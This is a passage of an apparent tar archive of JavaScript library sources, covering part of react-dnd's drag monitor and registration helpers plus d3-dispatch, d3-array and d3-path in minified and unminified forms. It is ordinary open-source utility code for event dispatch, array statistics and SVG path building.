{ key: "canDropOnTarget", value: function canDropOnTarget(targetId) { return this.internalMonitor.canDropOnTarget(targetId); } }, { key: "getItemType", value: function getItemType() { return this.internalMonitor.getItemType(); } }, { key: "getItem", value: function getItem() { return this.internalMonitor.getItem(); } }, { key: "getDropResult", value: function getDropResult() { return this.internalMonitor.getDropResult(); } }, { key: "didDrop", value: function didDrop() { return this.internalMonitor.didDrop(); } }, { key: "getInitialClientOffset", value: function getInitialClientOffset() { return this.internalMonitor.getInitialClientOffset(); } }, { key: "getInitialSourceClientOffset", value: function getInitialSourceClientOffset() { return this.internalMonitor.getInitialSourceClientOffset(); } }, { key: "getSourceClientOffset", value: function getSourceClientOffset() { return this.internalMonitor.getSourceClientOffset(); } }, { key: "getClientOffset", value: function getClientOffset() { return this.internalMonitor.getClientOffset(); } }, { key: "getDifferenceFromInitialOffset", value: function getDifferenceFromInitialOffset() { return this.internalMonitor.getDifferenceFromInitialOffset(); } }]); return DragSourceMonitorImpl; }();esm/common/registration.js000064400000000721151677306070011704 0ustar00export function registerTarget(type, target, manager) { var registry = manager.getRegistry(); var targetId = registry.addTarget(type, target); return [targetId, function () { return registry.removeTarget(targetId); }]; } export function registerSource(type, source, manager) { var registry = manager.getRegistry(); var sourceId = registry.addSource(type, source); return [sourceId, function () { return registry.removeSource(sourceId); }]; }d3-dispatch.min.js000064400000003423151677306560010011 0ustar00// https://d3js.org/d3-dispatch/ v1.0.5 Copyright 2018 Mike Bostock !function(n,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e(n.d3=n.d3||{})}(this,function(n){"use strict";var e={value:function(){}};function t(){for(var n,e=0,t=arguments.length,o={};e<t;++e){if(!(n=arguments[e]+"")||n in o)throw new Error("illegal type: "+n);o[n]=[]}return new r(o)}function r(n){this._=n}function o(n,e){for(var t,r=0,o=n.length;r<o;++r)if((t=n[r]).name===e)return t.value}function i(n,t,r){for(var o=0,i=n.length;o<i;++o)if(n[o].name===t){n[o]=e,n=n.slice(0,o).concat(n.slice(o+1));break}return null!=r&&n.push({name:t,value:r}),n}r.prototype=t.prototype={constructor:r,on:function(n,e){var t,r,f=this._,l=(r=f,(n+"").trim().split(/^|\s+/).map(function(n){var e="",t=n.indexOf(".");if(t>=0&&(e=n.slice(t+1),n=n.slice(0,t)),n&&!r.hasOwnProperty(n))throw new Error("unknown type: "+n);return{type:n,name:e}})),a=-1,u=l.length;if(!(arguments.length<2)){if(null!=e&&"function"!=typeof e)throw new Error("invalid callback: "+e);for(;++a<u;)if(t=(n=l[a]).type)f[t]=i(f[t],n.name,e);else if(null==e)for(t in f)f[t]=i(f[t],n.name,null);return this}for(;++a<u;)if((t=(n=l[a]).type)&&(t=o(f[t],n.name)))return t},copy:function(){var n={},e=this._;for(var t in e)n[t]=e[t].slice();return new r(n)},call:function(n,e){if((t=arguments.length-2)>0)for(var t,r,o=new Array(t),i=0;i<t;++i)o[i]=arguments[i+2];if(!this._.hasOwnProperty(n))throw new Error("unknown type: "+n);for(i=0,t=(r=this._[n]).length;i<t;++i)r[i].value.apply(e,o)},apply:function(n,e,t){if(!this._.hasOwnProperty(n))throw new Error("unknown type: "+n);for(var r=this._[n],o=0,i=r.length;o<i;++o)r[o].value.apply(e,t)}},n.dispatch=t,Object.defineProperty(n,"__esModule",{value:!0})}); d3-dispatch.js000064400000006252151677306560007232 0ustar00// https://d3js.org/d3-dispatch/ v1.0.5 Copyright 2018 Mike Bostock (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (factory((global.d3 = global.d3 || {}))); }(this, (function (exports) { 'use strict'; var noop = {value: function() {}}; function dispatch() { for (var i = 0, n = arguments.length, _ = {}, t; i < n; ++i) { if (!(t = arguments[i] + "") || (t in _)) throw new Error("illegal type: " + t); _[t] = []; } return new Dispatch(_); } function Dispatch(_) { this._ = _; } function parseTypenames(typenames, types) { return typenames.trim().split(/^|\s+/).map(function(t) { var name = "", i = t.indexOf("."); if (i >= 0) name = t.slice(i + 1), t = t.slice(0, i); if (t && !types.hasOwnProperty(t)) throw new Error("unknown type: " + t); return {type: t, name: name}; }); } Dispatch.prototype = dispatch.prototype = { constructor: Dispatch, on: function(typename, callback) { var _ = this._, T = parseTypenames(typename + "", _), t, i = -1, n = T.length; // If no callback was specified, return the callback of the given type and name. if (arguments.length < 2) { while (++i < n) if ((t = (typename = T[i]).type) && (t = get(_[t], typename.name))) return t; return; } // If a type was specified, set the callback for the given type and name. // Otherwise, if a null callback was specified, remove callbacks of the given name. if (callback != null && typeof callback !== "function") throw new Error("invalid callback: " + callback); while (++i < n) { if (t = (typename = T[i]).type) _[t] = set(_[t], typename.name, callback); else if (callback == null) for (t in _) _[t] = set(_[t], typename.name, null); } return this; }, copy: function() { var copy = {}, _ = this._; for (var t in _) copy[t] = _[t].slice(); return new Dispatch(copy); }, call: function(type, that) { if ((n = arguments.length - 2) > 0) for (var args = new Array(n), i = 0, n, t; i < n; ++i) args[i] = arguments[i + 2]; if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type); for (t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args); }, apply: function(type, that, args) { if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type); for (var t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args); } }; function get(type, name) { for (var i = 0, n = type.length, c; i < n; ++i) { if ((c = type[i]).name === name) { return c.value; } } } function set(type, name, callback) { for (var i = 0, n = type.length; i < n; ++i) { if (type[i].name === name) { type[i] = noop, type = type.slice(0, i).concat(type.slice(i + 1)); break; } } if (callback != null) type.push({name: name, value: callback}); return type; } exports.dispatch = dispatch; Object.defineProperty(exports, '__esModule', { value: true }); }))); d3-array.js000064400000034073151677306570006554 0ustar00// https://d3js.org/d3-array/ v1.2.4 Copyright 2018 Mike Bostock (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (factory((global.d3 = global.d3 || {}))); }(this, (function (exports) { 'use strict'; function ascending(a, b) { return a < b ? -1 : a > b ? 1 : a >= b ? 0 : NaN; } function bisector(compare) { if (compare.length === 1) compare = ascendingComparator(compare); return { left: function(a, x, lo, hi) { if (lo == null) lo = 0; if (hi == null) hi = a.length; while (lo < hi) { var mid = lo + hi >>> 1; if (compare(a[mid], x) < 0) lo = mid + 1; else hi = mid; } return lo; }, right: function(a, x, lo, hi) { if (lo == null) lo = 0; if (hi == null) hi = a.length; while (lo < hi) { var mid = lo + hi >>> 1; if (compare(a[mid], x) > 0) hi = mid; else lo = mid + 1; } return lo; } }; } function ascendingComparator(f) { return function(d, x) { return ascending(f(d), x); }; } var ascendingBisect = bisector(ascending); var bisectRight = ascendingBisect.right; var bisectLeft = ascendingBisect.left; function pairs(array, f) { if (f == null) f = pair; var i = 0, n = array.length - 1, p = array[0], pairs = new Array(n < 0 ? 0 : n); while (i < n) pairs[i] = f(p, p = array[++i]); return pairs; } function pair(a, b) { return [a, b]; } function cross(values0, values1, reduce) { var n0 = values0.length, n1 = values1.length, values = new Array(n0 * n1), i0, i1, i, value0; if (reduce == null) reduce = pair; for (i0 = i = 0; i0 < n0; ++i0) { for (value0 = values0[i0], i1 = 0; i1 < n1; ++i1, ++i) { values[i] = reduce(value0, values1[i1]); } } return values; } function descending(a, b) { return b < a ? -1 : b > a ? 1 : b >= a ? 0 : NaN; } function number(x) { return x === null ? NaN : +x; } function variance(values, valueof) { var n = values.length, m = 0, i = -1, mean = 0, value, delta, sum = 0; if (valueof == null) { while (++i < n) { if (!isNaN(value = number(values[i]))) { delta = value - mean; mean += delta / ++m; sum += delta * (value - mean); } } } else { while (++i < n) { if (!isNaN(value = number(valueof(values[i], i, values)))) { delta = value - mean; mean += delta / ++m; sum += delta * (value - mean); } } } if (m > 1) return sum / (m - 1); } function deviation(array, f) { var v = variance(array, f); return v ? Math.sqrt(v) : v; } function extent(values, valueof) { var n = values.length, i = -1, value, min, max; if (valueof == null) { while (++i < n) { // Find the first comparable value. if ((value = values[i]) != null && value >= value) { min = max = value; while (++i < n) { // Compare the remaining values. if ((value = values[i]) != null) { if (min > value) min = value; if (max < value) max = value; } } } } } else { while (++i < n) { // Find the first comparable value. if ((value = valueof(values[i], i, values)) != null && value >= value) { min = max = value; while (++i < n) { // Compare the remaining values. if ((value = valueof(values[i], i, values)) != null) { if (min > value) min = value; if (max < value) max = value; } } } } } return [min, max]; } var array = Array.prototype; var slice = array.slice; var map = array.map; function constant(x) { return function() { return x; }; } function identity(x) { return x; } function range(start, stop, step) { start = +start, stop = +stop, step = (n = arguments.length) < 2 ? (stop = start, start = 0, 1) : n < 3 ? 1 : +step; var i = -1, n = Math.max(0, Math.ceil((stop - start) / step)) | 0, range = new Array(n); while (++i < n) { range[i] = start + i * step; } return range; } var e10 = Math.sqrt(50), e5 = Math.sqrt(10), e2 = Math.sqrt(2); function ticks(start, stop, count) { var reverse, i = -1, n, ticks, step; stop = +stop, start = +start, count = +count; if (start === stop && count > 0) return [start]; if (reverse = stop < start) n = start, start = stop, stop = n; if ((step = tickIncrement(start, stop, count)) === 0 || !isFinite(step)) return []; if (step > 0) { start = Math.ceil(start / step); stop = Math.floor(stop / step); ticks = new Array(n = Math.ceil(stop - start + 1)); while (++i < n) ticks[i] = (start + i) * step; } else { start = Math.floor(start * step); stop = Math.ceil(stop * step); ticks = new Array(n = Math.ceil(start - stop + 1)); while (++i < n) ticks[i] = (start - i) / step; } if (reverse) ticks.reverse(); return ticks; } function tickIncrement(start, stop, count) { var step = (stop - start) / Math.max(0, count), power = Math.floor(Math.log(step) / Math.LN10), error = step / Math.pow(10, power); return power >= 0 ? (error >= e10 ? 10 : error >= e5 ? 5 : error >= e2 ? 2 : 1) * Math.pow(10, power) : -Math.pow(10, -power) / (error >= e10 ? 10 : error >= e5 ? 5 : error >= e2 ? 2 : 1); } function tickStep(start, stop, count) { var step0 = Math.abs(stop - start) / Math.max(0, count), step1 = Math.pow(10, Math.floor(Math.log(step0) / Math.LN10)), error = step0 / step1; if (error >= e10) step1 *= 10; else if (error >= e5) step1 *= 5; else if (error >= e2) step1 *= 2; return stop < start ? -step1 : step1; } function sturges(values) { return Math.ceil(Math.log(values.length) / Math.LN2) + 1; } function histogram() { var value = identity, domain = extent, threshold = sturges; function histogram(data) { var i, n = data.length, x, values = new Array(n); for (i = 0; i < n; ++i) { values[i] = value(data[i], i, data); } var xz = domain(values), x0 = xz[0], x1 = xz[1], tz = threshold(values, x0, x1); // Convert number of thresholds into uniform thresholds. if (!Array.isArray(tz)) { tz = tickStep(x0, x1, tz); tz = range(Math.ceil(x0 / tz) * tz, x1, tz); // exclusive } // Remove any thresholds outside the domain. var m = tz.length; while (tz[0] <= x0) tz.shift(), --m; while (tz[m - 1] > x1) tz.pop(), --m; var bins = new Array(m + 1), bin; // Initialize bins. for (i = 0; i <= m; ++i) { bin = bins[i] = []; bin.x0 = i > 0 ? tz[i - 1] : x0; bin.x1 = i < m ? tz[i] : x1; } // Assign data to bins by value, ignoring any outside the domain. for (i = 0; i < n; ++i) { x = values[i]; if (x0 <= x && x <= x1) { bins[bisectRight(tz, x, 0, m)].push(data[i]); } } return bins; } histogram.value = function(_) { return arguments.length ? (value = typeof _ === "function" ? _ : constant(_), histogram) : value; }; histogram.domain = function(_) { return arguments.length ? (domain = typeof _ === "function" ? _ : constant([_[0], _[1]]), histogram) : domain; }; histogram.thresholds = function(_) { return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), histogram) : threshold; }; return histogram; } function quantile(values, p, valueof) { if (valueof == null) valueof = number; if (!(n = values.length)) return; if ((p = +p) <= 0 || n < 2) return +valueof(values[0], 0, values); if (p >= 1) return +valueof(values[n - 1], n - 1, values); var n, i = (n - 1) * p, i0 = Math.floor(i), value0 = +valueof(values[i0], i0, values), value1 = +valueof(values[i0 + 1], i0 + 1, values); return value0 + (value1 - value0) * (i - i0); } function freedmanDiaconis(values, min, max) { values = map.call(values, number).sort(ascending); return Math.ceil((max - min) / (2 * (quantile(values, 0.75) - quantile(values, 0.25)) * Math.pow(values.length, -1 / 3))); } function scott(values, min, max) { return Math.ceil((max - min) / (3.5 * deviation(values) * Math.pow(values.length, -1 / 3))); } function max(values, valueof) { var n = values.length, i = -1, value, max; if (valueof == null) { while (++i < n) { // Find the first comparable value. if ((value = values[i]) != null && value >= value) { max = value; while (++i < n) { // Compare the remaining values. if ((value = values[i]) != null && value > max) { max = value; } } } } } else { while (++i < n) { // Find the first comparable value. if ((value = valueof(values[i], i, values)) != null && value >= value) { max = value; while (++i < n) { // Compare the remaining values. if ((value = valueof(values[i], i, values)) != null && value > max) { max = value; } } } } } return max; } function mean(values, valueof) { var n = values.length, m = n, i = -1, value, sum = 0; if (valueof == null) { while (++i < n) { if (!isNaN(value = number(values[i]))) sum += value; else --m; } } else { while (++i < n) { if (!isNaN(value = number(valueof(values[i], i, values)))) sum += value; else --m; } } if (m) return sum / m; } function median(values, valueof) { var n = values.length, i = -1, value, numbers = []; if (valueof == null) { while (++i < n) { if (!isNaN(value = number(values[i]))) { numbers.push(value); } } } else { while (++i < n) { if (!isNaN(value = number(valueof(values[i], i, values)))) { numbers.push(value); } } } return quantile(numbers.sort(ascending), 0.5); } function merge(arrays) { var n = arrays.length, m, i = -1, j = 0, merged, array; while (++i < n) j += arrays[i].length; merged = new Array(j); while (--n >= 0) { array = arrays[n]; m = array.length; while (--m >= 0) { merged[--j] = array[m]; } } return merged; } function min(values, valueof) { var n = values.length, i = -1, value, min; if (valueof == null) { while (++i < n) { // Find the first comparable value. if ((value = values[i]) != null && value >= value) { min = value; while (++i < n) { // Compare the remaining values. if ((value = values[i]) != null && min > value) { min = value; } } } } } else { while (++i < n) { // Find the first comparable value. if ((value = valueof(values[i], i, values)) != null && value >= value) { min = value; while (++i < n) { // Compare the remaining values. if ((value = valueof(values[i], i, values)) != null && min > value) { min = value; } } } } } return min; } function permute(array, indexes) { var i = indexes.length, permutes = new Array(i); while (i--) permutes[i] = array[indexes[i]]; return permutes; } function scan(values, compare) { if (!(n = values.length)) return; var n, i = 0, j = 0, xi, xj = values[j]; if (compare == null) compare = ascending; while (++i < n) { if (compare(xi = values[i], xj) < 0 || compare(xj, xj) !== 0) { xj = xi, j = i; } } if (compare(xj, xj) === 0) return j; } function shuffle(array, i0, i1) { var m = (i1 == null ? array.length : i1) - (i0 = i0 == null ? 0 : +i0), t, i; while (m) { i = Math.random() * m-- | 0; t = array[m + i0]; array[m + i0] = array[i + i0]; array[i + i0] = t; } return array; } function sum(values, valueof) { var n = values.length, i = -1, value, sum = 0; if (valueof == null) { while (++i < n) { if (value = +values[i]) sum += value; // Note: zero and null are equivalent. } } else { while (++i < n) { if (value = +valueof(values[i], i, values)) sum += value; } } return sum; } function transpose(matrix) { if (!(n = matrix.length)) return []; for (var i = -1, m = min(matrix, length), transpose = new Array(m); ++i < m;) { for (var j = -1, n, row = transpose[i] = new Array(n); ++j < n;) { row[j] = matrix[j][i]; } } return transpose; } function length(d) { return d.length; } function zip() { return transpose(arguments); } exports.bisect = bisectRight; exports.bisectRight = bisectRight; exports.bisectLeft = bisectLeft; exports.ascending = ascending; exports.bisector = bisector; exports.cross = cross; exports.descending = descending; exports.deviation = deviation; exports.extent = extent; exports.histogram = histogram; exports.thresholdFreedmanDiaconis = freedmanDiaconis; exports.thresholdScott = scott; exports.thresholdSturges = sturges; exports.max = max; exports.mean = mean; exports.median = median; exports.merge = merge; exports.min = min; exports.pairs = pairs; exports.permute = permute; exports.quantile = quantile; exports.range = range; exports.scan = scan; exports.shuffle = shuffle; exports.sum = sum; exports.ticks = ticks; exports.tickIncrement = tickIncrement; exports.tickStep = tickStep; exports.transpose = transpose; exports.variance = variance; exports.zip = zip; Object.defineProperty(exports, '__esModule', { value: true }); }))); d3-array.min.js000064400000013303151677306570007327 0ustar00// https://d3js.org/d3-array/ v1.2.4 Copyright 2018 Mike Bostock !function(n,r){"object"==typeof exports&&"undefined"!=typeof module?r(exports):"function"==typeof define&&define.amd?define(["exports"],r):r(n.d3=n.d3||{})}(this,function(n){"use strict";function r(n,r){return n<r?-1:n>r?1:n>=r?0:NaN}function t(n){var t;return 1===n.length&&(t=n,n=function(n,e){return r(t(n),e)}),{left:function(r,t,e,o){for(null==e&&(e=0),null==o&&(o=r.length);e<o;){var u=e+o>>>1;n(r[u],t)<0?e=u+1:o=u}return e},right:function(r,t,e,o){for(null==e&&(e=0),null==o&&(o=r.length);e<o;){var u=e+o>>>1;n(r[u],t)>0?o=u:e=u+1}return e}}}var e=t(r),o=e.right,u=e.left;function f(n,r){return[n,r]}function l(n){return null===n?NaN:+n}function i(n,r){var t,e,o=n.length,u=0,f=-1,i=0,a=0;if(null==r)for(;++f<o;)isNaN(t=l(n[f]))||(a+=(e=t-i)*(t-(i+=e/++u)));else for(;++f<o;)isNaN(t=l(r(n[f],f,n)))||(a+=(e=t-i)*(t-(i+=e/++u)));if(u>1)return a/(u-1)}function a(n,r){var t=i(n,r);return t?Math.sqrt(t):t}function h(n,r){var t,e,o,u=n.length,f=-1;if(null==r){for(;++f<u;)if(null!=(t=n[f])&&t>=t)for(e=o=t;++f<u;)null!=(t=n[f])&&(e>t&&(e=t),o<t&&(o=t))}else for(;++f<u;)if(null!=(t=r(n[f],f,n))&&t>=t)for(e=o=t;++f<u;)null!=(t=r(n[f],f,n))&&(e>t&&(e=t),o<t&&(o=t));return[e,o]}var c=Array.prototype,s=c.slice,g=c.map;function v(n){return function(){return n}}function M(n){return n}function p(n,r,t){n=+n,r=+r,t=(o=arguments.length)<2?(r=n,n=0,1):o<3?1:+t;for(var e=-1,o=0|Math.max(0,Math.ceil((r-n)/t)),u=new Array(o);++e<o;)u[e]=n+e*t;return u}var d=Math.sqrt(50),y=Math.sqrt(10),N=Math.sqrt(2);function m(n,r,t){var e=(r-n)/Math.max(0,t),o=Math.floor(Math.log(e)/Math.LN10),u=e/Math.pow(10,o);return o>=0?(u>=d?10:u>=y?5:u>=N?2:1)*Math.pow(10,o):-Math.pow(10,-o)/(u>=d?10:u>=y?5:u>=N?2:1)}function w(n,r,t){var e=Math.abs(r-n)/Math.max(0,t),o=Math.pow(10,Math.floor(Math.log(e)/Math.LN10)),u=e/o;return u>=d?o*=10:u>=y?o*=5:u>=N&&(o*=2),r<n?-o:o}function A(n){return Math.ceil(Math.log(n.length)/Math.LN2)+1}function x(n,r,t){if(null==t&&(t=l),e=n.length){if((r=+r)<=0||e<2)return+t(n[0],0,n);if(r>=1)return+t(n[e-1],e-1,n);var e,o=(e-1)*r,u=Math.floor(o),f=+t(n[u],u,n);return f+(+t(n[u+1],u+1,n)-f)*(o-u)}}function b(n,r){var t,e,o=n.length,u=-1;if(null==r){for(;++u<o;)if(null!=(t=n[u])&&t>=t)for(e=t;++u<o;)null!=(t=n[u])&&e>t&&(e=t)}else for(;++u<o;)if(null!=(t=r(n[u],u,n))&&t>=t)for(e=t;++u<o;)null!=(t=r(n[u],u,n))&&e>t&&(e=t);return e}function q(n){if(!(o=n.length))return[];for(var r=-1,t=b(n,L),e=new Array(t);++r<t;)for(var o,u=-1,f=e[r]=new Array(o);++u<o;)f[u]=n[u][r];return e}function L(n){return n.length}n.bisect=o,n.bisectRight=o,n.bisectLeft=u,n.ascending=r,n.bisector=t,n.cross=function(n,r,t){var e,o,u,l,i=n.length,a=r.length,h=new Array(i*a);for(null==t&&(t=f),e=u=0;e<i;++e)for(l=n[e],o=0;o<a;++o,++u)h[u]=t(l,r[o]);return h},n.descending=function(n,r){return r<n?-1:r>n?1:r>=n?0:NaN},n.deviation=a,n.extent=h,n.histogram=function(){var n=M,r=h,t=A;function e(e){var u,f,l=e.length,i=new Array(l);for(u=0;u<l;++u)i[u]=n(e[u],u,e);var a=r(i),h=a[0],c=a[1],s=t(i,h,c);Array.isArray(s)||(s=w(h,c,s),s=p(Math.ceil(h/s)*s,c,s));for(var g=s.length;s[0]<=h;)s.shift(),--g;for(;s[g-1]>c;)s.pop(),--g;var v,M=new Array(g+1);for(u=0;u<=g;++u)(v=M[u]=[]).x0=u>0?s[u-1]:h,v.x1=u<g?s[u]:c;for(u=0;u<l;++u)h<=(f=i[u])&&f<=c&&M[o(s,f,0,g)].push(e[u]);return M}return e.value=function(r){return arguments.length?(n="function"==typeof r?r:v(r),e):n},e.domain=function(n){return arguments.length?(r="function"==typeof n?n:v([n[0],n[1]]),e):r},e.thresholds=function(n){return arguments.length?(t="function"==typeof n?n:Array.isArray(n)?v(s.call(n)):v(n),e):t},e},n.thresholdFreedmanDiaconis=function(n,t,e){return n=g.call(n,l).sort(r),Math.ceil((e-t)/(2*(x(n,.75)-x(n,.25))*Math.pow(n.length,-1/3)))},n.thresholdScott=function(n,r,t){return Math.ceil((t-r)/(3.5*a(n)*Math.pow(n.length,-1/3)))},n.thresholdSturges=A,n.max=function(n,r){var t,e,o=n.length,u=-1;if(null==r){for(;++u<o;)if(null!=(t=n[u])&&t>=t)for(e=t;++u<o;)null!=(t=n[u])&&t>e&&(e=t)}else for(;++u<o;)if(null!=(t=r(n[u],u,n))&&t>=t)for(e=t;++u<o;)null!=(t=r(n[u],u,n))&&t>e&&(e=t);return e},n.mean=function(n,r){var t,e=n.length,o=e,u=-1,f=0;if(null==r)for(;++u<e;)isNaN(t=l(n[u]))?--o:f+=t;else for(;++u<e;)isNaN(t=l(r(n[u],u,n)))?--o:f+=t;if(o)return f/o},n.median=function(n,t){var e,o=n.length,u=-1,f=[];if(null==t)for(;++u<o;)isNaN(e=l(n[u]))||f.push(e);else for(;++u<o;)isNaN(e=l(t(n[u],u,n)))||f.push(e);return x(f.sort(r),.5)},n.merge=function(n){for(var r,t,e,o=n.length,u=-1,f=0;++u<o;)f+=n[u].length;for(t=new Array(f);--o>=0;)for(r=(e=n[o]).length;--r>=0;)t[--f]=e[r];return t},n.min=b,n.pairs=function(n,r){null==r&&(r=f);for(var t=0,e=n.length-1,o=n[0],u=new Array(e<0?0:e);t<e;)u[t]=r(o,o=n[++t]);return u},n.permute=function(n,r){for(var t=r.length,e=new Array(t);t--;)e[t]=n[r[t]];return e},n.quantile=x,n.range=p,n.scan=function(n,t){if(e=n.length){var e,o,u=0,f=0,l=n[f];for(null==t&&(t=r);++u<e;)(t(o=n[u],l)<0||0!==t(l,l))&&(l=o,f=u);return 0===t(l,l)?f:void 0}},n.shuffle=function(n,r,t){for(var e,o,u=(null==t?n.length:t)-(r=null==r?0:+r);u;)o=Math.random()*u--|0,e=n[u+r],n[u+r]=n[o+r],n[o+r]=e;return n},n.sum=function(n,r){var t,e=n.length,o=-1,u=0;if(null==r)for(;++o<e;)(t=+n[o])&&(u+=t);else for(;++o<e;)(t=+r(n[o],o,n))&&(u+=t);return u},n.ticks=function(n,r,t){var e,o,u,f,l=-1;if(t=+t,(n=+n)==(r=+r)&&t>0)return[n];if((e=r<n)&&(o=n,n=r,r=o),0===(f=m(n,r,t))||!isFinite(f))return[];if(f>0)for(n=Math.ceil(n/f),r=Math.floor(r/f),u=new Array(o=Math.ceil(r-n+1));++l<o;)u[l]=(n+l)*f;else for(n=Math.floor(n*f),r=Math.ceil(r*f),u=new Array(o=Math.ceil(n-r+1));++l<o;)u[l]=(n-l)/f;return e&&u.reverse(),u},n.tickIncrement=m,n.tickStep=w,n.transpose=q,n.variance=i,n.zip=function(){return q(arguments)},Object.defineProperty(n,"__esModule",{value:!0})}); d3-path.min.js000064400000004156151677310640007144 0ustar00// https://d3js.org/d3-path/ v1.0.7 Copyright 2018 Mike Bostock !function(t,i){"object"==typeof exports&&"undefined"!=typeof module?i(exports):"function"==typeof define&&define.amd?define(["exports"],i):i(t.d3=t.d3||{})}(this,function(t){"use strict";var i=Math.PI,s=2*i,h=s-1e-6;function _(){this._x0=this._y0=this._x1=this._y1=null,this._=""}function e(){return new _}_.prototype=e.prototype={constructor:_,moveTo:function(t,i){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+i)},closePath:function(){null!==this._x1&&(this._x1=this._x0,this._y1=this._y0,this._+="Z")},lineTo:function(t,i){this._+="L"+(this._x1=+t)+","+(this._y1=+i)},quadraticCurveTo:function(t,i,s,h){this._+="Q"+ +t+","+ +i+","+(this._x1=+s)+","+(this._y1=+h)},bezierCurveTo:function(t,i,s,h,_,e){this._+="C"+ +t+","+ +i+","+ +s+","+ +h+","+(this._x1=+_)+","+(this._y1=+e)},arcTo:function(t,s,h,_,e){t=+t,s=+s,h=+h,_=+_,e=+e;var n=this._x1,o=this._y1,r=h-t,a=_-s,u=n-t,c=o-s,f=u*u+c*c;if(e<0)throw new Error("negative radius: "+e);if(null===this._x1)this._+="M"+(this._x1=t)+","+(this._y1=s);else if(f>1e-6)if(Math.abs(c*r-a*u)>1e-6&&e){var x=h-n,y=_-o,M=r*r+a*a,l=x*x+y*y,d=Math.sqrt(M),p=Math.sqrt(f),v=e*Math.tan((i-Math.acos((M+f-l)/(2*d*p)))/2),b=v/p,w=v/d;Math.abs(b-1)>1e-6&&(this._+="L"+(t+b*u)+","+(s+b*c)),this._+="A"+e+","+e+",0,0,"+ +(c*x>u*y)+","+(this._x1=t+w*r)+","+(this._y1=s+w*a)}else this._+="L"+(this._x1=t)+","+(this._y1=s);else;},arc:function(t,_,e,n,o,r){t=+t,_=+_;var a=(e=+e)*Math.cos(n),u=e*Math.sin(n),c=t+a,f=_+u,x=1^r,y=r?n-o:o-n;if(e<0)throw new Error("negative radius: "+e);null===this._x1?this._+="M"+c+","+f:(Math.abs(this._x1-c)>1e-6||Math.abs(this._y1-f)>1e-6)&&(this._+="L"+c+","+f),e&&(y<0&&(y=y%s+s),y>h?this._+="A"+e+","+e+",0,1,"+x+","+(t-a)+","+(_-u)+"A"+e+","+e+",0,1,"+x+","+(this._x1=c)+","+(this._y1=f):y>1e-6&&(this._+="A"+e+","+e+",0,"+ +(y>=i)+","+x+","+(this._x1=t+e*Math.cos(o))+","+(this._y1=_+e*Math.sin(o))))},rect:function(t,i,s,h){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+i)+"h"+ +s+"v"+ +h+"h"+-s+"Z"},toString:function(){return this._}},t.path=e,Object.defineProperty(t,"__esModule",{value:!0})}); d3-path.js000064400000011167151677310640006362 0ustar00// https://d3js.org/d3-path/ v1.0.7 Copyright 2018 Mike Bostock (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (factory((global.d3 = global.d3 || {}))); }(this, (function (exports) { 'use strict'; var pi = Math.PI, tau = 2 * pi, epsilon = 1e-6, tauEpsilon = tau - epsilon; function Path() { this._x0 = this._y0 = // start of current subpath this._x1 = this._y1 = null; // end of current subpath this._ = ""; } function path() { return new Path; } Path.prototype = path.prototype = { constructor: Path, moveTo: function(x, y) { this._ += "M" + (this._x0 = this._x1 = +x) + "," + (this._y0 = this._y1 = +y); }, closePath: function() { if (this._x1 !== null) { this._x1 = this._x0, this._y1 = this._y0; this._ += "Z"; } }, lineTo: function(x, y) { this._ += "L" + (this._x1 = +x) + "," + (this._y1 = +y); }, quadraticCurveTo: function(x1, y1, x, y) { this._ += "Q" + (+x1) + "," + (+y1) + "," + (this._x1 = +x) + "," + (this._y1 = +y); }, bezierCurveTo: function(x1, y1, x2, y2, x, y) { this._ += "C" + (+x1) + "," + (+y1) + "," + (+x2) + "," + (+y2) + "," + (this._x1 = +x) + "," + (this._y1 = +y); }, arcTo: function(x1, y1, x2, y2, r) { x1 = +x1, y1 = +y1, x2 = +x2, y2 = +y2, r = +r; var x0 = this._x1, y0 = this._y1, x21 = x2 - x1, y21 = y2 - y1, x01 = x0 - x1, y01 = y0 - y1, l01_2 = x01 * x01 + y01 * y01; // Is the radius negative? Error. if (r < 0) throw new Error("negative radius: " + r); // Is this path empty? Move to (x1,y1). if (this._x1 === null) { this._ += "M" + (this._x1 = x1) + "," + (this._y1 = y1); } // Or, is (x1,y1) coincident with (x0,y0)? Do nothing. else if (!(l01_2 > epsilon)); // Or, are (x0,y0), (x1,y1) and (x2,y2) collinear? // Equivalently, is (x1,y1) coincident with (x2,y2)? // Or, is the radius zero? Line to (x1,y1). else if (!(Math.abs(y01 * x21 - y21 * x01) > epsilon) || !r) { this._ += "L" + (this._x1 = x1) + "," + (this._y1 = y1); } // Otherwise, draw an arc! else { var x20 = x2 - x0, y20 = y2 - y0, l21_2 = x21 * x21 + y21 * y21, l20_2 = x20 * x20 + y20 * y20, l21 = Math.sqrt(l21_2), l01 = Math.sqrt(l01_2), l = r * Math.tan((pi - Math.acos((l21_2 + l01_2 - l20_2) / (2 * l21 * l01))) / 2), t01 = l / l01, t21 = l / l21; // If the start tangent is not coincident with (x0,y0), line to. if (Math.abs(t01 - 1) > epsilon) { this._ += "L" + (x1 + t01 * x01) + "," + (y1 + t01 * y01); } this._ += "A" + r + "," + r + ",0,0," + (+(y01 * x20 > x01 * y20)) + "," + (this._x1 = x1 + t21 * x21) + "," + (this._y1 = y1 + t21 * y21); } }, arc: function(x, y, r, a0, a1, ccw) { x = +x, y = +y, r = +r; var dx = r * Math.cos(a0), dy = r * Math.sin(a0), x0 = x + dx, y0 = y + dy, cw = 1 ^ ccw, da = ccw ? a0 - a1 : a1 - a0; // Is the radius negative? Error. if (r < 0) throw new Error("negative radius: " + r); // Is this path empty? Move to (x0,y0). if (this._x1 === null) { this._ += "M" + x0 + "," + y0; } // Or, is (x0,y0) not coincident with the previous point? Line to (x0,y0). else if (Math.abs(this._x1 - x0) > epsilon || Math.abs(this._y1 